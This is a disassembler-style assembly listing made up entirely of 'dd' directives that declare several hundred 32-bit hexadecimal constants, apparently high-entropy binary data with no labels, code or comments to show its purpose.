		dd 29E8F0CFh, 0D92C4617h, 9870186Dh, 17C42C5Fh,	852540ACh
		dd 6D4C233Ch, 7AFD0594h, 644A1966h, 0AC887410h,	0F8C014D2h
		dd 0C804CBD6h, 6D80CE67h, 403E0416h, 17EBC4B4h,	80C81118h
		dd 0AAEBCE5h, 0BA97008Fh, 3F7A658Ah, 3B0AB9D6h,	0E04A6139h
		dd 200A2C80h, 1FB0FD0Bh, 0FB37CDC4h, 3CE68200h,	0E1E5B7D0h
		dd 278D890Ah, 171F7CC0h, 56B12880h, 0EB5D0FCh, 0DA7CDB2Dh
		dd 796C4D40h, 3E0088D6h, 0B60965CBh, 0E73A58Eh,	8D15B21Dh
		dd 46C483F2h, 0CB4A0DF8h, 0E461FB28h, 1778E093h, 6C3C0F47h
		dd 1A05E958h, 9424C8C3h, 8798C602h, 0F92D1C38h,	184E7918h
		dd 0E756066Ah, 99C16048h, 0E834EF49h, 0DB4C00C6h, 0DE80143Fh
		dd 8F0013B6h, 38644175h, 2DB2BFD9h, 4B09Bh, 7C708286h
		dd 0B7A5AF01h, 0CA16F822h, 0C840CBF1h, 2D9D406Eh, 0AD006D08h
		dd 0ACA1C62Fh, 3CCFCC19h, 0A63ABCCAh, 268EEE26h, 2C7407D1h
		dd 242AD19Eh, 0B908988Eh, 398E721h, 2821632Dh, 47B88289h
		dd 2C00707Dh, 0C31C757h, 0A588CCh, 0A736E15Bh, 87F0DB10h
		dd 9AA33Eh, 6780BD91h, 7B438132h, 638C016Bh, 47382FE8h
		dd 35288FDCh, 18B5CC5Bh, 0BB2811A7h, 207B3BDDh,	0A5440A88h
		dd 30EA069Dh, 9FA0E98h,	0D9A7B11Dh, 0E1AFEAC6h,	21366008h
		dd 4109F269h, 4D03F907h, 0A0C79E4Ah, 0C9767FC7h, 0EAF0D8h
		dd 43FCEDB7h, 4BA10AA2h, 0DC08AA66h, 0BF8B0021h, 64EF57EDh
		dd 340F1B48h, 0CDD5C839h, 30CE909Fh, 0B31009F8h, 6BE0C9A7h
		dd 0FB9009F0h, 69FC4F01h, 0FDDF18A7h, 8FF6E880h, 0EC922621h
		dd 7BA92E64h, 0F8EDB360h, 11824323h, 0BB8F00D3h, 0B73304EDh
		dd 0C58E006Dh, 0CABCA367h, 75902847h, 1A483603h, 0ED9482DCh
		dd 2304EC54h, 2D9501B9h, 18B62C71h, 20E289B2h, 0E102FC28h
		dd 18A5DEECh, 41F4A7D3h, 0F330A7C0h, 0B10C0EBh,	0CC4C2A06h
		dd 9B10A1C0h, 10FD9CFh,	285248BCh, 1080BB67h, 1865128Eh
		dd 10EC4C9Bh, 670DAAC5h, 0C1DE48B3h, 0CA490CEFh, 0C33EA78Fh
		dd 0B6AB68C5h, 0C098C408h, 0A7B409FFh, 3322F146h, 30F76C2Eh
		dd 0C6E5FC00h, 1A1F5A8h, 8666167Ch, 2039DF77h, 0F606C568h
		dd 2F6142AAh, 0A0C76438h, 0CD1C06E3h, 0A9497F91h, 9418B8A4h
		dd 2B902D48h, 0B011A4BEh, 2D9CE300h, 6FACEFE0h,	0A50C901h
		dd 0F810BBE7h, 139E6080h, 0CBF4A8E1h, 0B1C4D4A7h, 41C35660h
		dd 10051904h, 0AC03DDA3h, 5023F762h, 2D9301BFh,	33862C77h
		dd 9BE48000h, 61052Dh, 0E8025601h, 0C36A10DEh, 0B9214B00h
		dd 2A2F3CABh, 5F4E2AAAh, 188474D4h, 11ED22F5h, 660776CEh
		dd 816A6792h, 60096F76h, 7EAE21F2h, 30E5266h, 0A2F950CBh
		dd 0C0629929h, 285F8E06h, 0CC08C7h, 95C40158h, 0D968BB11h
		dd 0C01D98A2h, 4080B811h, 99AC64E8h, 5E1D0B7Ah,	51C06914h
		dd 0E591C28Fh, 0C9F43793h, 0C577F560h, 0ED0C4A12h, 0B1465C38h
		dd 204CC912h, 467E4D1Ch, 0D4353F01h, 0E6FE98BFh, 68C51884h
		dd 4854903Eh, 320C3C24h, 39864CAEh, 2F5B1341h, 0D3881DA1h
		dd 79140865h, 0FAEDB1C0h, 22924643h, 0B98D00D7h, 0FCD02EDh
		dd 0D47C26F0h, 6DC4DE12h, 0CB34C004h, 336BE341h, 0C7688CB0h
		dd 0C4C9A9h, 0BE55F026h, 6F4D3827h, 31D47F1Fh, 0A5090026h
		dd 80B0B77Dh, 21716D36h, 19C4C325h, 1BC217AAh, 0AB906823h
		dd 7BAF0188h, 20E938C5h, 351983B3h, 3CFC6DFFh, 8CD213B0h
		dd 9353410Ch, 1818AF11h, 1A30FEA7h, 6BB4A8E9h, 64408A1Fh
		dd 51DFE53Fh, 449442Ch,	0FC609B2Ch, 0A723B709h,	13911E9h
		dd 6309F46Fh, 5131D583h, 6824EB31h, 487F7B5Ah, 5C50203Eh
		dd 0F3E74030h, 80E42324h, 0C8EF0D80h, 741C5A9h,	0C45A99AFh
		dd 0A40439FAh, 667560F6h, 72672391h, 0AD00F411h, 0B150667Dh
		dd 7A120ED6h, 60047035h, 50192D87h, 66F819F4h, 62672393h
		dd 0AF00FB11h, 0EB05667Fh, 0ECA42D21h, 0A351C52Eh, 7167D00h
		dd 0A0CBB338h, 216343A0h, 9A11851Bh, 0B609FD80h, 448CE1A7h
		dd 0F50A6E38h, 82239509h, 0B4335306h, 0A9D29048h, 0E2208B40h
		dd 0D7140087h, 0B1FB491Ah, 4A6264B5h, 4912F30h,	88D08E71h
		dd 0A154CCB2h, 1813BF90h, 9842C7FBh, 43867C50h,	0B460A46Ch
		dd 4323FFEDh, 0DD11BAh,	0FEEDBC88h, 0B4C57Ah, 507B941Bh
		dd 0CF7343AEh, 774CB849h, 0D06C970h, 8F53E9C2h,	91217119h
		dd 5B430384h, 1903966Fh, 41073512h, 0C711A25Dh,	6035447Ch
		dd 1C1750D6h, 89C93E11h, 1000BD25h, 6893650Bh, 84CC648h
		dd 82EECE4Eh, 0FBC8AB67h, 0BD46B464h, 752D9102h, 0BD31962Ch
		dd 2D99E610h, 0C03B2104h, 44812252h, 63000AFFh,	0CF5090ABh
		dd 0F8CBB2Ch, 2C732D97h, 0E0A83833h, 0D42D9F04h, 0E40C74Ch
		dd 8B948AE8h, 861D8C00h, 663493B2h, 4EBE0099h, 5125A31Eh
		dd 40B89ADBh, 0E1322E07h, 419C4D1Fh, 0E2D10F28h, 0A220FCCDh
		dd 37972AD2h, 0C13D4F00h, 0B4A3A4EFh, 0ABFD1F74h, 8819267h
		dd 0B0C07808h, 4643FBEDh, 3DF229Ah, 1AEDB88Ch, 5EBB8885h
		dd 0E8304048h, 0D9008C33h, 920AE5D8h, 2E3D514h,	7F2E3264h
		dd 0F00A393Bh, 5F092C1Eh, 5ECC4830h, 9B6B0447h,	0A2E8665Dh
		dd 3034F25Ch, 0BD0138E8h, 30B50BD9h, 1024E723h,	8FDB03ACh
		dd 6033A6FFh, 0FB7DD1E0h, 2B18497Fh, 5F805A5Dh,	7CBE009Ah
		dd 1FC6721Ah, 0DF10C5BFh, 2E00ACC7h, 0B9358D47h, 6C00E9F8h
		dd 0B690BBEFh, 2474C3BEh, 3410D203h, 0C1BCDBD8h, 475F5A78h
		dd 0F29091C2h, 71028036h, 52679566h, 0A9004CE7h, 6EAE6679h
		dd 995A02E7h, 0F0C1CCB5h, 0C3C89840h, 630810B9h, 0B3073A1Ch
		dd 0CA42527Bh, 3F1708C4h, 5799E101h, 6C603D35h,	30ED4153h
		dd 0B2402338h, 80CC94C7h, 0F0E7C124h, 719799Eh,	0C618ADA7h
		dd 0F82EC850h, 91032A4Bh
		dd 28A717E8h, 16F05FD7h, 0FE602153h, 213083A2h,	2CEFDF23h
		dd 3A49BD0h, 7172404Ah,	2C2F57C9h, 18DD3FE0h, 24D0E818h
		dd 2EE4A29h, 7E25177Ch,	14BB98C1h, 0DF295C80h, 49B01D9Dh
		dd 88607953h, 0DE4EAA2Eh, 0CE189CABh, 4C50D864h, 48EE4B4Dh
		dd 0B5C47D6Ch, 0B24394C1h, 0D2229C26h, 0EDBD8907h, 0C04F7B82h
		dd 0B945758Fh, 29B105DEh, 0A3C54ABh, 0A58CA4B4h, 6FFE3810h
		dd 31749E03h, 48EDC734h, 0BFE86021h, 0FC74078Ch, 4256D1A4h
		dd 0D0E40636h, 551E2500h, 0FAF749A6h, 0C1660038h, 57A05F22h
		dd 7102A319h, 0D81F4F62h, 0CA4C8009h, 0B05391E1h, 28D929A0h
		dd 2A7BA8C0h, 4C0EB9Ch,	5AD011E9h, 0E0A4A635h, 0F44B02h
		dd 12149804h, 0AAE1DD88h, 18D9B769h, 0E473C39Ch, 873A00BDh
		dd 897B168Ch, 350B261Bh, 1D7EA288h, 87DF117Ch, 0AB918F91h
		dd 0D085E0E8h, 82EA0953h, 972B446Ch, 83DC915Ch,	0B8D1F432h
		dd 2E7B3554h, 4434B6E3h, 9FB609Ch, 0D1A723B0h, 68073711h
		dd 201B09F3h, 762DD3B5h, 0C74F2C0Ah, 7E19C40Fh,	0F010D9F0h
		dd 50004824h, 0B1600EBCh, 7E86A6Bh, 0D806B917h,	0F5ACA0C6h
		dd 0BE5895FAh, 7E38022Ch, 22D02621h, 0CCA0FC22h, 7F6153C4h
		dd 465E7A00h, 272B2078h, 48D50009h, 6A9A4721h, 0B016ABC5h
		dd 0C052FEC7h, 3E272004h, 11DC5E0Ah, 631700C1h,	0F131911Dh
		dd 0C9D60A95h, 28CB0E02h, 2F04618h, 67976673h, 0AB001C42h
		dd 8883667Bh, 1D3A7FE4h, 49F5EC55h, 98045F0Ah, 0A59262BEh
		dd 0A4CE8E98h, 2D9AE500h, 605004BCh, 12132105h,	0BC403C07h
		dd 0DCC815D2h, 1CCD7267h, 5E2FF6F3h, 1EBCC042h,	0AC6E0571h
		dd 1FDE6509h, 0F13444CCh, 0D0EEC23h, 0C12FC730h, 0CB66D37Fh
		dd 0C0DDC894h, 0D1D510B2h, 2F559CB0h, 7903DFCh,	3DC3D065h
		dd 11941DABh, 434C8033h, 3DDC39A3h, 371966DEh, 0CECB687Bh
		dd 0C3022C7Ah, 6FC9014Bh, 1B8CC059h, 0F1010EBh,	17483CC6h
		dd 381363E4h, 45F0A0C0h, 0D118B97Dh, 4AE1837h, 7670BBB3h
		dd 4A44B3B7h, 17002C6Eh, 5732351Bh, 0AA250375h,	714A440h
		dd 1F3C8CC8h, 0FD5639D1h, 75CB8780h, 4AF40E69h,	0F893170Bh
		dd 2E6820C6h, 0FCC7C8h,	8711D468h, 3B572C05h, 0B0A02A60h
		dd 9E5F30D1h, 0E9220DF4h, 0F0F6F169h, 2B25C859h, 0FB44824Fh
		dd 2C2CC07Ah, 3A73305Fh, 41D5C841h, 0D4CA1F12h,	6850C437h
		dd 92F63Eh, 43AAF1B8h, 6A2C888Bh, 35E62304h, 8C1AF83h
		dd 49803DDBh, 6DC5C412h, 0B8D6A7BEh, 34C8448Bh,	4C86BAC0h
		dd 5E59188Eh, 0B4C79849h, 2B8284A8h, 4EA11000h,	0C07E7C9Ch
		dd 0A6840103h, 62779BC5h, 0F658D4D5h, 465E04B4h, 0C33FBFh
		dd 0C156AA96h, 0D42854D2h, 0D2F8A099h, 6A19008Ch, 43D56102h
		dd 0B14B0F6Bh, 0C8275006h, 0EFE0C029h, 2506CE4Dh, 760271C0h
		dd 0FDB3CDh, 0AEFF5AE3h, 0F06FB0D9h, 70D87907h,	8827FA3Fh
		dd 0E5C547B3h, 0F8CC5413h, 0F8364CE1h, 8C39E8h,	5AA1787h
		dd 0C810BB67h, 0FD0F4CB0h, 382F5343h, 282007C0h, 0B34FF97h
		dd 0EF5C2D21h, 0D111581Fh, 3CD3B480h, 0B316F31Eh, 1CC5BDE9h
		dd 0D7B2F0A3h, 0EBF4F30h, 0B379869Fh, 738E0B20h, 0E4339B65h
		dd 0D226D0D7h, 11909DEEh, 80428933h, 9C112849h,	616700F7h
		dd 0F605240Eh, 0ED3DA5E8h, 4CAA85D5h, 0F0A42FE3h, 70048CF3h
		dd 5A679466h, 0A820F862h, 0F6678h, 3C24E538h, 0A43E4AACh
		dd 7C0B34B8h, 21CF5B41h, 0CE64D8E8h, 8A685870h,	35F38461h
		dd 0D2FC3C0Ch, 1A931804h, 4CDB50Bh, 487D17C0h, 5FC30FB4h
		dd 0CF228CD5h, 90E4C54Dh, 0F3813100h, 9F730224h, 5BC002BDh
		dd 294DD078h, 26DFEC60h, 6021B080h, 0E1A5B123h,	0AE60C72Dh
		dd 610A8C11h, 5E607B3h,	43626691h, 0C2B3133Dh, 0B9AC2040h
		dd 0E03209E9h, 0B830F8E2h, 4D3E37A4h, 63A8C151h, 0AAEAC83Ch
		dd 332CD203h, 4B8AC7B1h, 23B82F91h, 7DBD00B0h, 0B73353E1h
		dd 0FA79D4A0h, 7800417Fh, 0A1D70424h, 98B0AFCAh, 0E836F82Ch
		dd 0EFBF2418h, 6B0D03A8h, 390A832Bh, 0D8FC8A54h, 0FE8B9911h
		dd 0F9A7CA82h, 6D62A0F9h, 92C0C0F6h, 5C6300ACh,	670A2ED2h
		dd 0C74A7CABh, 13779C0Bh, 9299B70h, 92ABE138h, 0BCC40067h
		dd 0E9A33360h, 0C010F302h, 202A63C5h, 0B1392E79h, 0A120D12Dh
		dd 0C3634330h, 527C3C6Ch, 5F110C10h, 0D36C4CA5h, 0D0C8248Bh
		dd 0F11B69C0h, 616F151Fh, 0EE20B4B4h, 0D5655A01h, 2FB032F3h
		dd 0DDDC53F0h, 50075381h, 39E8BC74h, 9A270F8Ch,	0AEC9517Dh
		dd 0E35DB868h, 595B533Ch, 0C6427900h, 0F103617Ch, 0B1D338A7h
		dd 83BB18A1h, 2356F107h, 4E6424E0h, 2B01D4Bh, 9C90000Eh
		dd 0FC73881Ah, 0AA19F0F5h, 1629EF42h, 35BC2C6Ch, 2D3B008Ch
		dd 0C7EF8BCBh, 0A3E6F036h, 0F00EFC5Eh, 1C43642Ch, 0C8BDC015h
		dd 4D225368h, 3E3700C3h, 69D512A7h, 5D488CB9h, 5C4C2654h
		dd 0F9B7F41h, 0C89DB002h, 13803711h, 23D3C719h,	0E82F7E5Fh
		dd 6300BF23h, 8C433DDDh, 504E016Ah, 8D617105h, 0F9E82148h
		dd 0A7703085h, 0E4C805EDh, 0DEF30EBBh, 0DAC03527h, 0E31FA7D3h
		dd 0C844D209h, 0D18F84F4h, 91FBE8C1h, 3D3AC700h, 0E09E117Bh
		dd 0BF465Eh, 26B1D0BAh,	3F98Ch,	66C1C96Fh, 0B2E1F13h, 99270630h
		dd 1DFB0ABEh, 4BD68494h, 0E4827C87h, 0B101226Fh, 599EA1C5h
		dd 0E0FD95A5h, 0F9390502h, 0C4407FE6h, 0EC024429h, 57F39E8Ch
		dd 1D4AC019h, 6FAC02B4h, 0B1C683C0h, 3544B0C7h,	0E7ECC360h
		dd 3843C905h, 44D21FD0h, 4F220EC6h, 40442BDBh, 7402F746h
		dd 7A679066h, 0AC60D0F1h, 77B1667Ch, 0E71013FCh, 0D70420C6h
		dd 0E16522F5h, 0D20F1829h, 0EF45E3D1h, 0B2F19055h, 0D85F056Ah
		dd 561C5AFh, 822E4868h,	8471BE18h, 13D69E00h, 0F54B84h
		dd 913560ADh, 0B3909B16h, 0FA106600h, 2D24A7DDh, 496AF009h
		dd 43046CF8h, 8689CF7Bh, 34265804h, 4676C484h, 47AA00BEh
		dd 281342ADh, 4EB03E59h, 0A0E1158Dh, 0E3C4DCB9h, 40237325h
		dd 1D20A390h, 6E83ED47h, 0D14674B8h, 7F364900h,	7216F8A8h
		dd 63EE647Dh, 6DD43850h, 74A0EE24h, 13B20B08h, 1AACC87Eh
		dd 0E22A2400h, 0A6CBE557h, 28D70B34h, 20C25CA2h, 0D1798479h
		dd 1801A818h, 0D3C04E72h, 0A4454C20h, 0F323183Ah, 3B18F800h
		dd 1DFBBC35h, 0D234223Eh, 7E4C8244h, 14EDB630h,	4CAA43FDh
		dd 0EDBE8AA0h, 77E57A00h, 0B1AF53ECh, 0E9B8B6F3h, 0F7643465h
		dd 51109B60h, 922C443Dh, 94F430A7h, 0F0730B47h,	380F663Dh
		dd 0B4EED4E9h, 8456191Dh, 0BAFF83FCh, 0A88524FBh, 0FC62EB72h
		dd 9CAA39A4h, 0CA394330h, 7616D1B0h, 0E4061541h, 0B668F9C7h
		dd 0B9F4DCF0h, 0AC220716h, 207ED8CBh, 101167A6h, 0A4E2FD0Bh
		dd 0CCACAA24h, 0CDF3C820h, 3F782807h, 9738978Fh, 0D4CB2453h
		dd 8BC0D1C8h, 10BFB5h, 1DC71194h, 8F89521Bh, 6B43F706h
		dd 0B98AA4Fh, 0EFCA46AFh, 0DD64E067h, 3BFD3360h, 0D84C3F1Bh
		dd 3963C819h, 97DD00DBh, 7BB8FC38h, 7C0B74EBh, 82E530ADh
		dd 0AEAFC6D9h, 9EB0E0A0h, 763659C7h, 1A100EFh, 4BFD7E8Eh
		dd 80006B30h, 0FA4FF28Dh, 322135C1h, 23694120h,	7B051C7Ah
		dd 5004183Bh, 5366C0ABh, 675EA472h, 8E25C5Eh, 0D674BBEFh
		dd 0B2D25D90h, 30DEB26Ch, 6B500DA4h, 3CF92F34h,	8C32EC20h
		dd 0A2720E0Eh, 5E24E056h, 44C783CFh, 8500F3B6h,	91F11154h
		dd 3B96E593h, 0DA3003F0h, 5F6E3144h, 95C7CA18h,	174F6231h
		dd 89082FB2h
		dd 0BC8C784Ch, 73B8CF6h, 0D744018Bh, 0DB14A367h, 20576864h
		dd 0E12503B3h, 4B1810ADh, 5BD103CDh, 29481135h,	0B544209Eh
		dd 2C1095F7h, 8A008D2Ch, 365B7217h, 1271A7CCh, 80AB77AEh
		dd 0A1ED18F0h, 0B06AC515h, 0E8A458ACh, 89608C33h, 27D9307Eh
		dd 85F213E7h, 77F404E5h, 4A38E71Fh, 0F500206Eh,	403E2636h
		dd 653CACB5h, 69B8CDCh,	7D248921h, 7B1D0025h, 699ACCB1h
		dd 2A03BEA8h, 0E19EDB2Ch, 2E292EA7h, 0A920266Fh, 18D0D1F8h
		dd 3E5A017Ah, 0C2CE5C6Ch, 0E7203007h, 96492380h, 74D8246Ch
		dd 2867F846h, 0C1309510h, 3E8646Ch, 0C817E015h,	0D1A899D5h
		dd 788518D1h, 0CB0F013Fh, 41FC985Dh, 88504BBBh,	0ED9AC0FAh
		dd 0DE4F289Bh, 24288889h, 8C34BCh, 881E5E52h, 232432ECh
		dd 8669EB61h, 0B3F5C274h, 23B06A3Eh, 0CFB91EBCh, 0B4A9BB49h
		dd 918FC482h, 7C66A502h, 0CC972DACh, 0C780BC91h, 87EFCB8Ch
		dd 5B435F05h, 0CCD0AF47h, 0EFE12852h, 0B8EC5C44h, 0A8F6C5C5h
		dd 8CBFBC18h, 0A47E4E02h, 0F0B706C7h, 74C33C74h, 43FAE801h
		dd 0E0F40AF2h, 4F131B96h, 988DB0CBh, 0D388184Eh, 4D2AE4C0h
		dd 0FDA0272Bh, 5925B446h, 44B8C77Ah, 4293623Ah,	40DCAA60h
		dd 4240C54h, 18084481h,	430285E1h, 7480C353h, 0ABA71Fh
		dd 1D858B60h, 0F06A90Eh, 61DEBF0Eh, 83865D3Ch, 703602E4h
		dd 0E851186Ah, 59204703h, 8929C372h, 1611334Ch,	0C3514100h
		dd 0F62C0A6h, 42D8B632h, 0C35E3056h, 744389E4h,	0C3564682h
		dd 8BE0EB60h, 0E30DBD3Eh, 181582A3h, 0B10E925h,	8C002D1Bh
		dd 0C960904Fh, 18F69Fh,	8BB39CF3h, 6BA82F0h, 0B8442BD0h
		dd 504C8C19h, 9710045h,	0ED950134h, 338EC107h, 8320C9B5h
		dd 0E8C38B0Ch, 17390013h, 2316B3D9h, 71705D6Dh,	80A04D3Dh
		dd 5C1CBBBh, 1858328Bh,	3304850Fh, 8AF8BE66h, 0E8C15E1Eh
		dd 1BD1BAE9h, 7A029518h, 82E10356h, 85A0E007h, 0A22A6079h
		dd 0E9E2F766h, 15331260h, 8451C5h, 2D11E7F6h, 0A5FB6A5Ah
		dd 29392B03h, 0B5D0E6F1h, 0C350DE48h, 8991C358h, 881A1844h
		dd 0C3005040h, 8A513318h, 5336E454h, 1DA2BD58h,	1CD36230h
		dd 82FAB37Dh, 0F8E43609h, 85B55A40h, 3813440h, 0B38654C0h
		dd 0B0046110h, 187880Fh, 80781297h, 0EACC2BFh, 0AA00F611h
		dd 1B28B887h, 12C01098h, 3207B92Ch, 5F305711h, 4689E4C3h
		dd 11C227Ch, 0C6C35747h, 6016F486h, 0B60E07B3h,	0C18369h
		dd 0BD0AF681h, 3B0E0313h, 39860FD9h, 0F2899D46h, 3117C0DCh
		dd 6D830043h, 6673D6BDh, 50C8D98Ch, 0C35AC352h,	4E548991h
		dd 524200D4h, 550960C3h, 96581D22h, 0E38AC078h,	35B58533h
		dd 0F661B0A0h, 0F04C106h, 0A73BCE84h, 61154409h, 31302BBFh
		dd 95FF0DF7h, 266013CDh, 0FBBEF02Eh, 7A5B52A9h,	0BF3016E2h
		dd 568D261Ah, 331D082Dh, 0A42B5E0Fh, 30CB8E0Fh,	0F517DA06h
		dd 0AC0014EDh, 0B6CD4F7Fh, 6CF6957h, 343D9145h,	0F0812A08h
		dd 0D20423Bh, 0D0F86E20h, 115A00BAh, 9969892Ah,	0FCF868B4h
		dd 0AB31E929h, 5B875391h, 5C8922C3h, 0E380E66Dh, 579CB740h
		dd 2FAE80Fh, 8D89C08Bh,	4C681F65h, 326749BDh, 0D880C30Dh
		dd 616D9529h, 85C7140Fh, 0D92D82C1h, 4778F007h,	6017444Dh
		dd 7DD507Ah, 0EE816687h, 218D1DEFh, 0E9B21241h,	0B20093AEh
		dd 0E6E5847Eh, 0FDD74C01h, 106DBD81h, 7D02688h,	301A8F24h
		dd 86F43731h, 82A4A2C0h, 760EF520h, 0E034A3FFh,	0DD1A99B5h
		dd 6C32A119h, 0C35D3055h, 6C5389E4h, 554580C4h,	5C585C3h
		dd 0F4A7FC1h, 60740989h, 80FF7900h, 614838D8h, 6FBB587Dh
		dd 0B4D48068h, 0EC901283h, 365D14BBh, 0CF0A9F67h, 0DDDB0D7h
		dd 0E941E2Dh, 0C01B8880h, 600BB2CEh, 9722FA0Bh,	232035Ah
		dd 285BCFD1h, 0B8005458h, 4DC579B4h, 0AAC83E13h, 661B09B0h
		dd 4A0022DFh, 65ED1820h, 2A2B59C4h, 0BA9DD8Dh, 919D095Eh
		dd 609A892Ah, 62E66392h, 51707200h, 300FD409h, 43B7060Dh
		dd 8E615DE9h, 85F8E474h, 0CA20D0B1h, 0B17A520h,	5AA8BF66h
		dd 287C4588h, 8BF61C72h, 42F398F1h, 95A081E8h, 0F801419h
		dd 8D27A88Ah, 0F91640E1h, 190AE930h, 1596949h, 37C14D53h
		dd 2663ED96h, 7C98F07Ah, 0E9871852h, 0ADFE1914h, 0C2D22300h
		dd 2DEF8D41h, 9C300318h, 0A020025Eh, 81159E91h,	0AB65D7B6h
		dd 3A634090h, 0D3331AA2h, 0D5C6E8F2h, 0E9DA139Ah, 6CAD1C0Bh
		dd 168E60F1h, 0AD00E8D0h, 0F2CEA99Dh, 0EECB8713h, 6D3900A7h
		dd 0C18B950Bh, 3DEA8956h, 30E90D55h, 1C40D1B0h,	3851B9EBh
		dd 4D12033Eh, 9D9F4212h, 8D0034C5h, 82053585h, 31D66080h
		dd 0BEB1E870h, 0AF97AD00h, 32DB35Eh, 0E1931E14h, 69B86632h
		dd 90265FC5h, 6F4096E8h, 19241C1h, 518C821h, 0CC7D42ECh
		dd 0D2B1E81Ah, 3CA4E300h, 0E02ADD7h, 5F61600Dh,	36BF5021h
		dd 9023F088h, 35BD2909h, 1D9F2903h, 811791AFh, 0F46EECD1h
		dd 781142ABh, 512892D1h, 0EF092BBh, 0C4AD4Ch, 5C083F1h
		dd 0C301820Fh, 6050F931h, 5FA35293h, 91B431E8h,	0E8585A0Ch
		dd 7832505h, 0CCB77008h, 615BD056h, 24590489h, 5C50BCFEh
		dd 0BE034835h, 8D0FA9B8h, 60B8CD84h, 13B195Eh, 0BD0B8560h
		dd 0A72514B5h, 1281B904h, 1A6A1F12h, 921D1C2Eh,	0E861511h
		dd 4D205210h, 9D8D072Ah, 6AAC98DEh, 8F2C60FBh, 1513E349h
		dd 0B31F0DDBh, 0FAA2E2h, 0DE815E5Dh, 0E2F0214h,	0E8D3FF01h
		dd 0D600FC44h, 0E1EC52CBh, 2C17CA55h, 11D997E5h, 40BC4102h
		dd 1CE185BBh, 0D8BDDDDh, 110C1F17h, 46E1801Bh, 4C77486h
		dd 0E90F727Bh, 0E8BBD2CCh, 815D5A80h, 0F9060EDh, 14D9F691h
		dd 0EE98CC18h, 178CE301h, 431BD03h, 78ADB6A6h, 1424686h
		dd 1AA26B42h, 56E3430h,	2E99136Ch, 1DE04E7h, 9D861D28h
		dd 0F90D0F95h, 899C2461h, 0DB7534E3h, 37D9C067h, 24AAC1Eh
		dd 29AAFF8Ah, 5350759Dh, 24DB0B2Ch, 0F4CFA612h,	0CFC01888h
		dd 595F014h, 0B0BD83FBh, 98C8100Ch, 442D842Eh, 614888E9h
		dd 1BFD2103h, 0E3A79B1Fh, 0BE19057Fh, 0D4758364h, 12309AEh
		dd 51F9A299h, 2865E9C8h, 8C1CF8A9h, 257F2200h, 49C7A275h
		dd 0A4CD4C2Bh, 0EFC268C3h, 0CC19C398h, 6F360200h, 29F7692Fh
		dd 0E6414985h, 0CE95F0Ch, 9900B633h, 0EEB2C3ABh, 149E2150h
		dd 63E31E24h, 9588219Ch, 808F2012h, 918DFC6Fh, 0B5098200h
		dd 23211781h, 9CCBFEFFh, 11D10C81h, 0B1B52B00h,	661724B2h
		dd 0CC58DB8Ch, 96C3F613h, 274113Eh, 143B83BFh, 5A1C00Eh
		dd 4670256Ah, 585B29BAh, 4CC19050h, 0B82E1A1Ch,	4F562EC9h
		dd 0E5D32AC0h, 5D0F8C5Bh, 3DBE509Ah, 9051D145h,	80DFDE9Bh
		dd 0BA0BFCFEh, 0E94C4243h, 0B07880F0h, 0F447E6EEh, 0B0BDB23Ch
		dd 0E8F928D6h, 0FCB60512h, 13FDF483h, 5EC221A4h, 19CC34B0h
		dd 48E62740h, 19E8EF70h, 0C12E028Ch, 8E9AA192h,	0E229A760h
		dd 0E4620109h, 11AD1D71h, 415B8B14h, 47312B04h,	0ECBAFD12h
		dd 0A38B1D4h, 5C5BC38Bh, 0AE021746h, 0E999D892h, 7B832C80h
		dd 8B272CCEh, 2DAB88DBh, 1D465Ch, 0B4410B59h, 12D366D0h
		dd 43CF2E1h, 0F2151D53h, 8B0F14ADh, 0EDC4403Dh,	0B42B2C40h
		dd 1B467480h, 0E9AC9300h, 0C2AB1250h, 0B70F600Fh, 31D872FBh
		dd 66DE018Bh, 612C35B9h, 58272350h, 3317049Ah, 0DAE693C6h
		dd 2CBE60E1h, 0BD89C28Eh, 46E0A99Dh, 3AB05B66h,	0E172313h
		dd 0F144EA5Ch, 3DADCC60h
		dd 0C526D300h, 892CBF24h, 9C94A95h, 6B08614Eh, 15465C35h
		dd 606D6401h, 0A4B98D31h, 0C5392CCFh, 6A7D95F0h, 2E756717h
		dd 1A465E19h, 2FCA9D00h, 0E1800C9Ah, 10E10A90h,	41F5B529h
		dd 22B1691Eh, 5AF8774Ah, 23B63AB6h, 13DF1214h, 0C0239EA6h
		dd 0FF05FD93h, 0F38B09BFh, 0E991880Fh, 2CC921F5h, 5CE312EAh
		dd 0C7C1A45Dh, 789295D1h, 3C1A7F25h, 0D17887C0h, 6F923173h
		dd 0E981FA1Eh, 4CD9A4C5h, 5BFE8A0h, 111DC979h, 0CFEC9B58h
		dd 0C5AFC235h, 7CA7963h, 20823843h, 0F7EDA22Bh,	62540805h
		dd 22B4F048h, 517B8A7Ch, 50761A70h, 2DCE9C9Fh, 31926FF0h
		dd 10D0E84Ah, 57F60EBh,	1A9097B9h, 3A16485Ah, 85896082h
		dd 2DD47855h, 0FA0961F8h, 0EE48B864h, 0CA2F1E03h, 80F4A8C0h
		dd 1D86039h, 0C7240DF7h, 0AD1F820Fh, 0D854902Dh, 0BC6A00A5h
		dd 0D0AAD96Ch, 4D00D75Ch, 13CC381Dh, 480E4BF9h,	5910FB36h
		dd 915E2D09h, 9914CD08h, 58C207Dh, 0F49E0B9Ah, 1C1746D6h
		dd 3E523BA6h, 1A09F78Ch, 56237195h, 15D101D1h, 0E3A5A18h
		dd 0E21F522Bh, 0C13D3018h, 0EEB0717h, 3411A604h, 3F039816h
		dd 0E8F36DE1h, 76D7003Fh, 0FBFD4112h, 7D4823A6h, 1DBD1016h
		dd 22C0724Ch, 0A73ECFFCh, 80EF407Bh, 0AABF6617h, 0B1C08B50h
		dd 1814D17Ah, 0AC17B68Eh, 1D467471h, 80B5341Fh,	4AA79858h
		dd 0A34C0B33h, 8A516E5h, 2D5D3CD1h, 0F8D97503h,	24AEA459h
		dd 1D4674h, 0DF75C08Fh,	13DB2A7Bh, 0B76C428h, 2D67FE28h
		dd 15DE5F92h, 63D328C0h, 5CB02E71h, 320B44h, 7C9D3E05h
		dd 0DDCAFB61h, 931A8927h, 0C5B6D0C8h, 0D160E3B4h, 0BEC20091h
		dd 0F99A6AF3h, 2C77D6ECh, 0BF16ED90h, 56CD4FE9h, 81C0923Ch
		dd 0F3CA55F6h, 5C75645Bh, 1923662Eh, 5B8E1800h,	0B30FDB1Fh
		dd 0D1C421E9h, 71181Ch,	414788D7h, 4B1D9ED8h, 0BA8F0F26h
		dd 37AA904Bh, 164FA48h,	1D911551h, 0DC8DDF81h, 0BE01559Dh
		dd 56CC187Dh, 5AF60F90h, 0B50B3850h, 1043EDDh, 18238595h
		dd 25CE6B3Ch, 346D0FCFh, 0FC4103C0h, 298400BEh,	9D8922EDh
